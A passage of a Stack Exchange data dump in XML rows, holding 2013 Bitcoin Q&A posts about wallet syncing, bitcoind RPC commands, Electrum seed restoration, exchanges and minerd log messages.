  <row Id="16807" PostTypeId="2" ParentId="16766" CreationDate="2013-11-17T20:03:55.023" Score="-1" Body="&lt;p&gt;Consider bitcoin to be more like Gold than a credit card. You can't easily spend Gold at your local store either, but Gold has enduring value. Bitcoin grows in value greater than Gold because it not only is a store of value (that resists fiat devaluation) but it also has an intrinsic value of greater future convenience than a credit card. Eventually the average person will recognize that holding fiat is a liability and will prefer to be paid with bitcoin. People acquire bitcoin now for that future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want give your money to the poor then offer them fiat or a prepaid debit card. Many became poor because they preferred instant gratification over acquiring items of true value. Sometimes the more you help someone, the slower they learn.&lt;/p&gt;&#xA;" OwnerUserId="7636" LastActivityDate="2013-11-17T20:03:55.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16808" PostTypeId="2" ParentId="16806" CreationDate="2013-11-17T20:14:54.630" Score="2" Body="&lt;p&gt;There is a testnet for this sort of thing so you don't lose any money playing around.&#xA;See &lt;a href=&quot;https://en.bitcoin.it/wiki/Testnet&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Testnet&lt;/a&gt; and &#xA;&lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/testnet-in-a-box/&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/bitcoin/files/Bitcoin/testnet-in-a-box/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that you'll have to decide what approach you want to take. Are you integrating bitcoin into a larger project, or do you want to play with the internals? You can run a live bitcoind node and interact with the network through RPC commands if you just want to integrate it as a payment method. See &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_(JSON-RPC)&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/API_reference_(JSON-RPC)&lt;/a&gt; for whats available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This won't get you into the nitty gritty of the protocol though. For that the best place to go would be bitcoinj. &lt;a href=&quot;https://code.google.com/p/bitcoinj/&quot; rel=&quot;nofollow&quot;&gt;https://code.google.com/p/bitcoinj/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also suggest looking into Armory's software if the purpose is interacting with wallets in an online environment.&lt;/p&gt;&#xA;" OwnerUserId="191" LastActivityDate="2013-11-17T20:14:54.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16809" PostTypeId="2" ParentId="16738" CreationDate="2013-11-17T20:16:34.603" Score="0" Body="&lt;p&gt;You could buy or sell a physical bitcoin like a casacious coin or BitBill (or even a funded gift wallet like aLittleBitOfCoin). That kind of exchange does not even require computer access. You could exchange offline paper wallets but then there is more reason to question the secrecy of the private key.&lt;/p&gt;&#xA;" OwnerUserId="7636" LastActivityDate="2013-11-17T20:16:34.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16811" PostTypeId="2" ParentId="16769" CreationDate="2013-11-17T20:20:45.557" Score="10" Body="&lt;p&gt;Okay, it appears after much trial and error, I figured out that you put the &lt;code&gt;bootstrap.dat&lt;/code&gt; file in the &lt;code&gt;AppData/Roaming/Bitcoin&lt;/code&gt; or &lt;code&gt;~/.bitcoin&lt;/code&gt; folder. You can leave everything else in that folder untouched, just add the &lt;code&gt;bootstrap.dat&lt;/code&gt; file in the Bitcoin folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I left &lt;code&gt;bootstrap.dat&lt;/code&gt; in there, and finally Bitcoin-QT found it, and on the bottom it states &quot;Importing blocks from disk...&quot; I'm currently at 80 weeks behind on the update, compared to 240+.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was reading crap about using the &lt;code&gt;-loadblock&lt;/code&gt; command and extracting/unzipping the &lt;code&gt;.dat&lt;/code&gt; file.... well this wasn't needed.  At least it isn't needed on the current version of QT, which I believe is .8.0.5 &lt;/p&gt;&#xA;" OwnerUserId="8844" LastEditorUserId="13172" LastEditDate="2014-03-13T17:47:20.260" LastActivityDate="2014-03-13T17:47:20.260" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16812" PostTypeId="2" ParentId="14022" CreationDate="2013-11-17T20:30:25.457" Score="1" Body="&lt;p&gt;If you don't persist the headers in some way then you'd have to reload them each time you launched. Loading the headers from scratch isn't a free operation. Its not just a matter of downloading 626k. It may be a small amount of data in the end but each header still needs to be verified (targets calculated and checked, etc). Not only that, but there are less obvious privacy implications of requesting the block chain from the network each time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SPVBlockStore still uses memory mapped IO so its not like you take a performance hit, it just makes subsequent launches of the software faster.&lt;/p&gt;&#xA;" OwnerUserId="191" LastActivityDate="2013-11-17T20:30:25.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16813" PostTypeId="2" ParentId="16697" CreationDate="2013-11-17T20:37:52.607" Score="0" Body="&lt;p&gt;Adding to the other answer...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not all wallets have support for offline/paper wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mycelium has the best support for offline wallets because it allows you to spend directly from the private key of an offline wallet. Mycelium likely recognizes all the private key forms that Armory can produce.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The version of Armory you have would continue working even if updates were to end. Armory appears to be open-source on github.com; therefore, updates will not end as long as there is a need for an update.&lt;/p&gt;&#xA;" OwnerUserId="7636" LastActivityDate="2013-11-17T20:37:52.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16815" PostTypeId="2" ParentId="16781" CreationDate="2013-11-17T21:17:27.863" Score="0" Body="&lt;p&gt;Apologies for the title... Someone has changed it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 Bitcents... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use one of the wallets for transaction going in/out. That wallet is showing +2 cents on the others. The others I just sync from time to time.&#xA;Last address addition was some months prior to noticing the descrepancy.&#xA;All wallets were copied from the same starter wallet which is the one with the +2 cents.&lt;/p&gt;&#xA;" OwnerUserId="8857" LastActivityDate="2013-11-17T21:17:27.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16816" PostTypeId="2" ParentId="16798" CreationDate="2013-11-17T21:21:33.793" Score="4" Body="&lt;p&gt;Syncing means:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Downloading the blockchain.&lt;/li&gt;&#xA;&lt;li&gt;For every transaction, check that its inputs actually reference earlier unspent outputs, and that the signatures match.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hashing is a completely negligible part of the process and a mining device will not help you. Computationally the major work is verifying ECDSA signatures, and you also need disk access to find the past outputs. Using an SSD will make things faster.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-11-17T21:21:33.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16818" PostTypeId="2" ParentId="16803" CreationDate="2013-11-17T23:11:53.503" Score="0" Body="&lt;p&gt;You are misreading the post. It does not claim to get anywhere near 190MH with the command line you used. It claims to get 190MH doing SHA256d mining. Scrypt mining is, by design, over a thousand times slower than SAH256d mining.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-11-17T23:11:53.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16823" PostTypeId="2" ParentId="12522" CreationDate="2013-11-18T03:18:24.877" Score="1" Body="&lt;p&gt;There is a book called &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B00DG8EPT0&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Internals&lt;/a&gt; that explains how Bitcoin works technically. It covers all the major topics like addresses, transaction processing, the blockchain, mining, pools, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin wiki (&lt;a href=&quot;http://bitcoin.it&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin.it&lt;/a&gt;) is a good reference for more specific details. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Satoshi Nakamoto's whitepaper is also obligatory reading, but it is only a partial explanation of how Bitcoin works.&lt;/p&gt;&#xA;" OwnerUserId="8888" LastActivityDate="2013-11-18T03:18:24.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16827" PostTypeId="1" AcceptedAnswerId="16846" CreationDate="2013-11-18T04:49:54.720" Score="0" ViewCount="1582" Body="&lt;p&gt;I tried &lt;code&gt;bitcoind getnewaddress&lt;/code&gt;, but &lt;code&gt;bitcoind listreceivedbyaddress&lt;/code&gt; still returned empty list&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to create a new address for receiving payments?&lt;/p&gt;&#xA;" OwnerUserId="6124" LastActivityDate="2013-11-18T16:48:30.847" Title="listreceivedbyaddress returns empty list" Tags="|address|api|payment|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16829" PostTypeId="2" ParentId="16777" CreationDate="2013-11-18T07:57:22.017" Score="0" Body="&lt;p&gt;To answer my own question: there are Apple Product websites listed on the Hidden Wiki, supposedly selling Apple products directly for BTC. &lt;/p&gt;&#xA;" OwnerUserId="6193" LastActivityDate="2013-11-18T07:57:22.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16832" PostTypeId="1" AcceptedAnswerId="16843" CreationDate="2013-11-18T10:18:12.747" Score="0" ViewCount="194" Body="&lt;p&gt;What are the maximum number of characters allowed in a Multibit password, and which characters are allowed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I use Keepass as a password manager, my usual practice is to generate passwords with the maximum allowed complexity.&lt;/p&gt;&#xA;" OwnerUserId="7002" LastActivityDate="2013-11-18T13:18:19.847" Title="What is the maximum allowed password complexity in Multibit" Tags="|multibit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16833" PostTypeId="2" ParentId="16573" CreationDate="2013-11-18T10:21:41.820" Score="2" Body="&lt;p&gt;The password is required to spend the coins.  This is the purpose of the password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multibit does not consider it to be a security problem if people who steal your wallet can see the balance.  If you have a problem with that, you should encrypt your wallet with a program such as TrueCrypt.&lt;/p&gt;&#xA;" OwnerUserId="7002" LastActivityDate="2013-11-18T10:21:41.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16834" PostTypeId="2" ParentId="14452" CreationDate="2013-11-18T10:25:33.083" Score="1" Body="&lt;p&gt;Try &lt;em&gt;Tools -&gt; Reset Blockchain and Transactions&lt;/em&gt; in the backup wallet.&lt;/p&gt;&#xA;" OwnerUserId="7002" LastActivityDate="2013-11-18T10:25:33.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16835" PostTypeId="2" ParentId="14107" CreationDate="2013-11-18T10:27:41.047" Score="1" Body="&lt;p&gt;Different clients &lt;em&gt;may&lt;/em&gt; have different wallet formats.   Some do, some don't. If you want to use a new client, create a new wallet for that client and transfer the coins to it.&lt;/p&gt;&#xA;" OwnerUserId="7002" LastEditorUserId="7002" LastEditDate="2013-11-18T10:35:24.133" LastActivityDate="2013-11-18T10:35:24.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16837" PostTypeId="1" AcceptedAnswerId="16841" CreationDate="2013-11-18T10:54:32.783" Score="0" ViewCount="526" Body="&lt;p&gt;I've heard there was a proposal to support some form of chargeback in an upcoming release of the Bitcoin Protocol. My first question is this rumor factually accurate and if so how will it be implemented?&lt;/p&gt;&#xA;" OwnerUserId="4070" LastActivityDate="2014-03-06T13:34:25.257" Title="Bitcoin Supporting Chargebacks" Tags="|merchants|chargeback|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16838" PostTypeId="2" ParentId="16801" CreationDate="2013-11-18T10:56:17.337" Score="1" Body="&lt;p&gt;Right, figured it out. It's a matter of picking the correct output from the previous transaction and running signInputs. After that it works.&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2013-11-18T10:56:17.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16839" PostTypeId="1" AcceptedAnswerId="16840" CreationDate="2013-11-18T12:17:57.787" Score="3" ViewCount="138" Body="&lt;p&gt;I was reading an ebook, called Bitcoins: what they are and how to use them, the book says&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;... it would be a fools bet to take a promise to pay a debt in&#xA;  Bitcoins, as they will by definition, become increasingly difficult to&#xA;  obtain.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This doesn't make sense to me; just because the number of new Bitcoins being produced will decrease, that doesn't mean they will be harder to obtain, because people can still buy and sell existing bitcoin. The quoted text seem to imply that the value of bitcoin will always go up, or am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="8898" LastEditorUserId="5406" LastEditDate="2021-03-06T19:37:36.253" LastActivityDate="2021-03-06T19:37:36.253" Title="Debts denominated in bitcoins" Tags="|economic-theory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16840" PostTypeId="2" ParentId="16839" CreationDate="2013-11-18T12:38:16.400" Score="0" Body="&lt;p&gt;That is indeed what that author is implying, though I think his conclusion is wrong. Any good currency will increase in value over time, or ideally the money supply will increase at the same rate &lt;a href=&quot;https://en.wikipedia.org/wiki/Wealth&quot; rel=&quot;nofollow&quot;&gt;wealth&lt;/a&gt; is added to society, which would imply its value remains constant. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is distinctly different for instance then the USD which is intentionally being rapidly inflated by the &lt;a href=&quot;https://en.wikipedia.org/wiki/Federal_Reserve_System&quot; rel=&quot;nofollow&quot;&gt;Federal Reserves&lt;/a&gt; &lt;a href=&quot;https://en.wikipedia.org/wiki/Quantitative_easing#United_States_QE1.2C_QE2.2C_and_QE3&quot; rel=&quot;nofollow&quot;&gt;quantitate easing policy&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin does not match the rate of wealth creation, and coins become more difficult over time to acquire, but the same is true of gold and people have been paying debts in gold for centuries. Perhaps its a good thing to be a little &lt;a href=&quot;http://www.fool.com/how-to-invest/thirteen-steps/step-2-trade-wisdom-for-foolishness.aspx?source=ii1sitlnk0000001&quot; rel=&quot;nofollow&quot;&gt;foolish&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4241" LastEditorUserId="4241" LastEditDate="2013-11-18T13:50:26.033" LastActivityDate="2013-11-18T13:50:26.033" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16841" PostTypeId="2" ParentId="16837" CreationDate="2013-11-18T12:52:25.177" Score="3" Body="&lt;p&gt;QuantumQrack: the answer is no, it's supporting the &quot;payment protocol&quot;, which is a way of attaching some extra data to a transaction, such as a refund address. however, the refund is still up to the merchant to agree to give you; once you've given money to the merchant, you can't take it back without them giving it back to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Asked in #bitcoin on freenode.  This is the reply.&lt;/p&gt;&#xA;" OwnerUserId="8900" LastActivityDate="2013-11-18T12:52:25.177" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16842" PostTypeId="1" AcceptedAnswerId="16854" CreationDate="2013-11-18T12:55:53.317" Score="8" ViewCount="7988" Body="&lt;p&gt;Suppose I set up a wallet with a deterministic seed passphrase. I then use it, moving bitcoins around, sending some change to change addresses. Electrum will apparently create more addresses when required; suppose it does so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I later on 'restore' the wallet on a new Electrum install by entering the existing seed. How does Electrum know how many addresses to create? It may be the case that the original 8 addresses are now empty (0 BTC), and my btc are in addresses created later on. How does Electrum know how many deterministic addresses to create in order to see all of my existing btc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;One possible technique I can imagine:&lt;/strong&gt; Electrum looks at the blockchain for the first addresses in the wallet. If it sees traffic to those addresses, it knows to keep trying more of the deterministic addresses until it sees no more traffic, at which point it stops generating addresses in your wallet.&lt;/p&gt;&#xA;" OwnerUserId="7260" LastActivityDate="2017-05-18T18:49:34.870" Title="Electrum: &quot;restoring&quot; a wallet from a seed" Tags="|wallet|client|electrum|seed|deterministic-wallets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16843" PostTypeId="2" ParentId="16832" CreationDate="2013-11-18T13:18:19.847" Score="1" Body="&lt;p&gt;Internally the password is a byte array (made from the unicode representation of the characters).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only hard limit is the amount of memory the bytes take up in the MultiBit process. If you had a password of a million characters I think it would work but a billion characters would probably break it.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2013-11-18T13:18:19.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16844" PostTypeId="2" ParentId="16842" CreationDate="2013-11-18T13:25:19.380" Score="1" Body="&lt;p&gt;Seed is linked to master wallet which is linked to spendable address imho.  I'd like to be proven wrong if so. I believe your technique could be right if the addresses are determined to be sourced from Electrum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taken from this page here: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/14069/key-pool-in-wallet-softwares&quot;&gt;Key pool in wallet softwares&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Being deterministic lets Electrum recover your entire wallet addresses from your seed, so you don't need to backup your wallet file every time you make a transaction.&#xA;  shareeditflag&#xA;  edited Oct 26 at 13:01&#xA;  answered Oct 26 at 11:08&#xA;  rdymac&#xA;  4947&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5486" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2013-11-18T14:10:07.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16846" PostTypeId="2" ParentId="16827" CreationDate="2013-11-18T13:45:33.443" Score="0" Body="&lt;p&gt;The default is to only return addresses that have already received coins, so use &lt;code&gt;bitcoind listreceivedbyaddress 0 true&lt;/code&gt;.  The &lt;code&gt;true&lt;/code&gt; indicates that you want to include &quot;empty&quot; addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4708" LastEditorUserId="4708" LastEditDate="2013-11-18T16:48:30.847" LastActivityDate="2013-11-18T16:48:30.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16847" PostTypeId="1" CreationDate="2013-11-18T14:20:48.170" Score="2" ViewCount="279" Body="&lt;p&gt;Could a mining scheme driven by &lt;a href=&quot;https://en.wikipedia.org/wiki/Logistic_function&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;logistic function&lt;/strong&gt;&lt;/a&gt; bring a greater price (= exchange rate) stability to a crypto-currency in comparison to Bitcoin for example since it better models natural growth?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply the monetary base would grow according to this function. This would mean that till half of the scheme period block rewards would rise from 0 coins to X coins and in the second half fall from X to 0. After the scheme's period would be over and all currency had been mined, transaction fees could be introduced to keep the system working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/elVnD.png&quot; alt=&quot;Chart of logistic function)&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Picture: Chart of logistic function (credits: &lt;a href=&quot;https://en.wikipedia.org/wiki/File:Logistic-curve.svg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikipedia.org/wiki/File:Logistic-curve.svg&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="3120" LastEditorUserId="5406" LastEditDate="2016-04-28T12:54:54.390" LastActivityDate="2016-04-28T12:54:54.390" Title="Alternative: Mining scheme driven by logistic function" Tags="|exchange-rate|mining-reward|alternatives|blockchain-fork|money-supply|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16848" PostTypeId="1" AcceptedAnswerId="16849" CreationDate="2013-11-18T14:31:58.417" Score="2" ViewCount="22115" Body="&lt;p&gt;I have BitCoins in BlockChain - is it possible to transfer these into my CoinBase account?&lt;/p&gt;&#xA;" OwnerUserId="8905" LastActivityDate="2017-03-17T18:00:09.017" Title="Is it possible to transfer BitCoins from BlockChain to CoinBase?" Tags="|blockchain|coinbase.com|money-transfer|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16849" PostTypeId="2" ParentId="16848" CreationDate="2013-11-18T14:42:49.940" Score="2" Body="&lt;p&gt;You can transfer bitcoin from anywhere to anywhere! Simply log in to coinbase and click &quot;Request&quot; and then submit the blank form (this is one way to find your bitcoin address) and then send the coins there. Historically, coinbase has allowed selling coins as soon as they see them, not requiring confirms like most exchanges do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One note about using web wallets or other types of deposit withdraw accounts is that sending coins between them is bad practice. If there is any chance your coins will be sent back by the receiving wallet, you should always use your own client, such as any you find on bitcoin.org.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason so is that exchanges and other web wallets will not necessarily send the coins which you had sent to your address in order to withdraw your funds. So if a coin will be sent back, it will show up on an address not registered to you and you will not be credited the coins back.&lt;/p&gt;&#xA;" OwnerUserId="3195" LastActivityDate="2013-11-18T14:42:49.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16850" PostTypeId="1" CreationDate="2013-11-18T15:22:14.430" Score="2" ViewCount="192" Body="&lt;p&gt;I found out &lt;a href=&quot;http://bitcoinstatus.rowit.co.uk/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;here&lt;/strong&gt;&lt;/a&gt; that the number of total network hosts basically went down to 1/3 during the last year. Does this mean the network is less secure because fewer people run it despite the total hashing speed is still growing?&lt;/p&gt;&#xA;" OwnerUserId="3120" LastEditorUserId="5406" LastEditDate="2017-06-17T23:37:38.153" LastActivityDate="2017-06-17T23:37:38.153" Title="Is declining number of peers (hosts) threatening the network?" Tags="|security|network|peers|nodecount|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16851" PostTypeId="2" ParentId="4937" CreationDate="2013-11-18T15:34:11.933" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://xcfd.com&quot; rel=&quot;nofollow&quot;&gt;http://xcfd.com&lt;/a&gt; — gives bitcoin CFD with 1:5 leverage. &lt;/p&gt;&#xA;" OwnerUserId="8907" LastActivityDate="2013-11-18T15:34:11.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16852" PostTypeId="2" ParentId="16542" CreationDate="2013-11-18T15:51:11.720" Score="1" Body="&lt;p&gt;Every time you buy or sell on Coinbase, you initiate an ACH transfer. These ACH transfers take 3-7 days to complete, and many traditional banks post limits on the amount of ACH transfers you can have in a day/week/month. Too many and your bank activity will be flagged as suspicious, your funds may even be frozen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trade exchanges like Bitstamp and Mt. Gox function similarly to brokerage accounts. They are non-insured hot wallets that allow you to quickly trade fiat for btc without having to initiate several ACH transfers a day. You fund the exchange and they hold and track your money until you are ready to cash out. These will be your best options for frequent trading.&lt;/p&gt;&#xA;" OwnerUserId="4814" LastActivityDate="2013-11-18T15:51:11.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16854" PostTypeId="2" ParentId="16842" CreationDate="2013-11-18T16:50:19.227" Score="3" Body="&lt;p&gt;Electrum uses a gap limit to stop looking for addresses in the deterministic wallet. The &lt;a href=&quot;http://docs.electrum.org/en/latest/faq.html#what-is-the-gap-limit&quot; rel=&quot;nofollow noreferrer&quot;&gt;default gap limit is set to 20&lt;/a&gt;, so the client get all addresses until 20 unused addresses are found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change addresses have a gap limit of 3 and this is not modifiable by the user.&lt;/p&gt;&#xA;" OwnerUserId="2467" LastEditorUserId="5406" LastEditDate="2017-05-18T18:49:34.870" LastActivityDate="2017-05-18T18:49:34.870" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16856" PostTypeId="1" CreationDate="2013-11-18T18:59:15.497" Score="1" ViewCount="184" Body="&lt;p&gt;Bitcoin is in a bubble right now, I would like to sell them as I believe the value will drop within a couple of days. I tried registering an account on mtgox, but it's complicated and they seem to have some problem to keep up with registrations(my account isn't confirmed yet)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to sell my bitcoins so I can trade them back. I looked at litecoin, wich seems like a nice option, but their value has also gone up a lot the last couple of days, relative to bitcoins. Are there any other options available?&lt;/p&gt;&#xA;" OwnerUserId="524" LastActivityDate="2013-11-18T19:31:11.150" Title="How can I temporarily move my value to something other than bitcoin without providing identifiaction?" Tags="|exchanges|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16857" PostTypeId="2" ParentId="16856" CreationDate="2013-11-18T19:12:55.090" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://campbx.com&quot; rel=&quot;nofollow&quot;&gt;http://campbx.com&lt;/a&gt; is another exchange; I believe no customer verification is required until you want to move USD in or out.  If you just want to sell bitcoins and plan to buy them back later, I don't think ID would be needed.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-11-18T19:12:55.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16858" PostTypeId="1" CreationDate="2013-11-18T19:20:12.853" Score="3" ViewCount="3896" Body="&lt;p&gt;Services like bitaddress.org allow you to password encrypt a paper wallet. How would I decrypt it?&lt;/p&gt;&#xA;" OwnerUserId="8918" LastActivityDate="2014-01-12T03:25:44.390" Title="How do I decrypt a password protected, BIP0038 address?" Tags="|paper-wallet|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16859" PostTypeId="1" AcceptedAnswerId="16861" CreationDate="2013-11-18T19:25:20.697" Score="6" ViewCount="14606" Body="&lt;p&gt;I have been testing a script that essentially runs (incomplete command shown here!): &lt;code&gt;minerd --algo scrypt -s 45 --retry-pause 5 --threads $threads --url ...&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Among the feedback messages, while &lt;code&gt;minerd&lt;/code&gt; is running, there are once in a while following messages:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;LONGPOLL detected new block&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;...accepted: 1838/2122 (86.62%), 49.94 khash/s (yay!!!)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;...accepted: 1832/2116 (86.58%), 50.00 khash/s (booooo)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What is a &lt;em&gt;LONGPOLL&lt;/em&gt; and how is it related to the bigger picture of mining? What is the difference between a &lt;code&gt;(yay!!!)&lt;/code&gt; and a &lt;code&gt;(booooo)&lt;/code&gt; &lt;em&gt;accepted&lt;/em&gt; message?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, what is the percentage in parenthesis in an accepted message (as above) showing exactly? Why does it both increase and decrease during mining? Shouldn't it grow only upwards reaching the 100% level?&lt;/p&gt;&#xA;" OwnerUserId="8832" LastEditorUserId="5406" LastEditDate="2016-02-12T16:40:46.537" LastActivityDate="2017-07-13T17:56:23.537" Title="What do `minerd`s feedback messages (LONGPOLL, yay, boo) mean?" Tags="|terminology|mining-software|minerd|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16860" PostTypeId="2" ParentId="16856" CreationDate="2013-11-18T19:31:11.150" Score="1" Body="&lt;p&gt;Try &lt;a href=&quot;https://localbitcoins.com/&quot; rel=&quot;nofollow&quot;&gt;https://localbitcoins.com/&lt;/a&gt;.  You also may want to trade your bitcoins for various in-game currencies for which exchanges exist.  These exchanges usually don't require you to have a game account in order to trade in the currencies.  You also might want to try exchanges that deal in other fiat currencies (i.e. Euros) that may not require you to identify yourself or have a bank account, as long as you are willing to let your fiat sit in the exchange without withdrawing it or only use it to buy bitcoin later.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-11-18T19:31:11.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16861" PostTypeId="2" ParentId="16859" CreationDate="2013-11-18T19:33:14.223" Score="10" Body="&lt;p&gt;If I recall it correctly, the &quot;boo&quot;s mean: your answer's correct but somebody else had solved the problem before, so you wasted your electricity and time - sorry. And the &quot;yay&quot;s are: you did it first, congrats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for &quot;LongPoll&quot;, it's a protocol that enables a miner to keep in touch with its pool's servers so that it's communicated as soon as possible when someone (within the pool or outside of it) discovers a solution for the current block - the miner can then stop working on that block immediately. All work up to that moment has been wasted, of course, but the waste's minimized this way - otherwise, your machine would just keep going, produce a result and deliver it... only to be informed then that it was way too late. Today, most pools support it - so you should see a lot of &quot;longpoll&quot; messages but relatively few (if any) &quot;boo&quot; :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, as to the percentage: it tracks the number of solutions your machine has dispatched to your miner pool's servers, comparing the number of accepted ones versus the ones that got rejected. In an ideal world LongPoll would ensure your machine gets notified immediately upon someone else's discovery of a block's solution, and your machine would stop working on that block right away - so the 